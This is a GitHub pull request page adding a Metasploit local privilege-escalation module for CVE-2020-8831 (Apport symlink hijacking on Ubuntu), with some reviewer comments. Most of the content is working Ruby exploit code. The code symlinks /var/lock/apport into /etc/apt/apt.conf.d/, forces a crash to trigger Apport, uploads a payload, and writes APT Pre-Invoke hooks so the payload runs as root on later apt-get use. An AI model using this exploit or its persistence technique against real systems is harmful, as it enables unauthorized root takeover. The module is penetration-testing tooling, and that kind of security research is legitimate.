-
Notifications
You must be signed in to change notification settings - Fork 14.6k
Add Apport Symlink Hijacking: CVE-2020-8831 #20037
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Changes from all commits
edc187a
6854dc0
f8f0ac5
9ffec60
6112b1e
a1dfc8a
4838131
417c1bb
18a94bb
8cef31f
68de77e
689bfdb
6055625
68683c3
3868607
1bd3a4a
6d52e90
ec93425
2417f58
631bdf6
31bfb04
cc7c14e
43cdca1
8735ab6
fce7505
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,170 @@ | ||
| ## | ||
| # This module requires Metasploit: https://metasploit.com/download | ||
| # Current source: https://github.com/rapid7/metasploit-framework | ||
| ## | ||
|
|
||
| class MetasploitModule < Msf::Exploit::Local | ||
| Rank = NormalRanking | ||
|
|
||
| prepend Msf::Exploit::Remote::AutoCheck | ||
| include Msf::Post::Linux::System | ||
| include Msf::Post::Linux::Kernel | ||
| include Msf::Post::File | ||
| include Msf::Exploit::EXE | ||
|
|
||
| def initialize(info = {}) | ||
| super( | ||
| update_info( | ||
| info, | ||
| 'Name' => 'Apport Symlink Hijacking Privilege Escalation ', | ||
| 'Description' => %q{ | ||
| On some Ubuntu releases such as Xenial Xerus 16.04.7 the Apport 2.20 crash handler is vulnerable | ||
| to symlink hijacking. Following a crash Apport will write reports to /var/lock/apport/lock, | ||
| an attacker who can create a symlink to a privileged directory via /var/lock/apport will be | ||
| able to create files with global 0777 permissions. This module exploits this weakness by creating a | ||
| symbolic link to /etc/apt/apt.conf.d/ to write a hook to apt-get which will trigger a root shell on the target. | ||
| }, | ||
| 'License' => MSF_LICENSE, | ||
| 'Author' => [ | ||
| 'Maximilien Bourgeteau', # Discovery | ||
| 'gardnerapp' # Metasploit | ||
| ], | ||
| 'References' => [ | ||
| [ | ||
| ['URL', 'https://nostarch.com/zero-day'], # pg. 59 | ||
| ['URL', 'https://ubuntu.com/security/CVE-2020-8831'], | ||
| ['URL', 'https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1862348'], | ||
| ['CVE', '2020-8831'], | ||
| ] | ||
| ], | ||
| 'Platform' => ['linux'], | ||
| 'SessionTypes' => ['shell', 'meterpreter'], | ||
| 'Targets' => [ | ||
| [ | ||
| 'Linux_Binary', | ||
| { | ||
| 'Arch' => [ARCH_AARCH64, ARCH_X64] | ||
| } | ||
| ], | ||
| [ | ||
| 'Linux_Command', | ||
| { | ||
| 'Arch' => ARCH_CMD | ||
| } | ||
| ] | ||
| ], | ||
| 'Privileged' => false, | ||
| 'DisclosureDate' => '2 April 2020', | ||
| 'DefaultTarget' => 0, | ||
| 'Notes' => { | ||
| 'Stability' => [CRASH_SAFE], | ||
| 'Reliability' => [REPEATABLE_SESSION], | ||
| 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] | ||
| } | ||
| ) | ||
| ) | ||
| register_options [ | ||
| OptString.new('PAYLOAD_FILENAME', [true, 'Name of payload', Rex::Text.rand_text_alpha(8..12)]), | ||
| OptString.new('HOOKPATH', [false, 'APT configuration directory.', '/etc/apt/apt.conf.d/']) | ||
| ] | ||
| register_advanced_options [ | ||
| OptString.new('WRITABLE_DIR', [true, 'A directory where we can write files', '/tmp']) | ||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Convention says that Advanced options use Camel case: https://docs.metasploit.com/docs/development/developing-modules/module-metadata/how-to-use-datastore-options.html That said, I'm not entirely sold on this being an advanced option because we are writing the value, then hoping the user does something. If we write to temp, then the computer reboots before the user performs the action, we |
||
| ] | ||
| end | ||
|
|
||
| def check | ||
| # If you are testing the module apport needs to be reinstalled on boot every time with | ||
| # sudo dpkg -i apport_2.20.11-0ubuntu21_all.deb | ||
|
|
||
| # sudo rm -rf /var/lock/apport/ /tmp/payload /etc/apt/apt.conf.d/lock && unlink /var/lock/apport | ||
| # The above must be run after each subsequent test! | ||
| return CheckCode::Safe('Platform is not Linux') unless session.platform == 'linux' | ||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Is this because we destroy the Apport installation, or because Apport is non-permanent? |
||
|
|
||
| # Check apport version | ||
| if !command_exists?('apport-cli') | ||
| return CheckCode::Safe('apport-cli does not appear to be installed or in the $PATH') | ||
| end | ||
|
|
||
| apport = cmd_exec('apport-cli --version').to_s | ||
|
|
||
| return CheckCode::Detected('Unable to determine apport version') if apport.blank? | ||
|
|
||
| # todo determine if prior versions of apport are vulnerable | ||
| apport_version = Rex::Version.new(apport.split('-').first) | ||
|
|
||
| vulnerable_version = Rex::Version.new('2.20.11') | ||
|
|
||
| if apport_version == vulnerable_version | ||
| vprint_good("Apport appears to be vulnerable.") | ||
| return CheckCode::Appears | ||
| end | ||
|
|
||
| # Make sure apt is all set. | ||
| # poached from modules/exploits/linux/apt_package_manager.rb | ||
| return CheckCode::Safe('apt-get not found.') unless command_exists?('apt-get') | ||
| return CheckCode::Safe("#{datastore['HOOKPATH']} not found") unless exists?(datastore['HOOKPATH']) | ||
|
|
||
| CheckCode::Safe | ||
| end | ||
|
|
||
| # Crash Apport and hijack a symlink | ||
| # this will creat a rwx /etc/cron.d/lock owned by root | ||
| def hijack_apport | ||
|
|
||
| print_status("Creating symlink...") | ||
|
|
||
| # Maybe we should just delete /var/lock/apport if it already exists?? | ||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. You could add an advanced option to remove it if it is found. Make the default value of |
||
| if exists? '/var/lock/apport' | ||
| fail_with(Failure::BadConfig, '/var/lock/apport already exists. Try removing this directory then running the module again. ') | ||
| end | ||
|
|
||
| link = cmd_exec ("ln -s #{datastore['HOOKPATH']} /var/lock/apport") | ||
|
|
||
| # Create crash and trigger apport | ||
| print_status("Triggering crash...") | ||
| cmd_exec 'sleep 10s & kill -11 $!' | ||
|
|
||
| @hook_file = "#{datastore['HOOKPATH']}lock" | ||
|
|
||
| unless exist?(@hook_file ) | ||
| fail_with(Failure::NotFound, "exploit was unable to create #{@hook_file}") | ||
| else | ||
| print_good("Successfully created #{@hook_file}") | ||
| end | ||
| end | ||
|
|
||
| def write_payload | ||
| print_status 'Uploading payload..' | ||
|
|
||
| payload_dir = datastore['WRITABLE_DIR'] | ||
|
|
||
| payload_dir += '/' unless payload_dir.ends_with? '/' | ||
|
|
||
| payload_file = datastore['PAYLOAD_FILENAME'] | ||
|
|
||
| @payload_dest = "#{payload_dir}#{payload_file}" | ||
|
|
||
| # create the payload | ||
| if target.arch.first == ARCH_CMD | ||
| upload_and_chmodx @payload_dest, payload.encoded | ||
| else | ||
| upload_and_chmodx @payload_dest, generate_payload_exe | ||
| end | ||
| end | ||
|
|
||
| # Maximize the number of apt commands our payload will run from | ||
| def write_hooks | ||
| hooks = %w[Update Upgrade Install].map {|cmd| %(APT::#{cmd}::Pre-Invoke {"#{@payload_dest}"};\n)} | ||
| hooks.each {|hook| append_file @hook_file, hook } | ||
| print_good "The next time apt-get is used to update, upgrade or install your payload will be triggered. Cheers ;)" | ||
| end | ||
|
|
||
| def exploit | ||
gardnerapp marked this conversation as resolved.
Show resolved
Hide resolved
|
||
| fail_with(Failure::BadConfig, "#{datastore['WRITABLE_DIR']} is not writable") unless writable?(datastore['WRITABLE_DIR']) | ||
| hijack_apport | ||
|
|
||
| write_payload | ||
|
|
||
| write_hooks | ||
| end | ||
| end | ||
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Shouldn't this be
truesince the shell generated is root?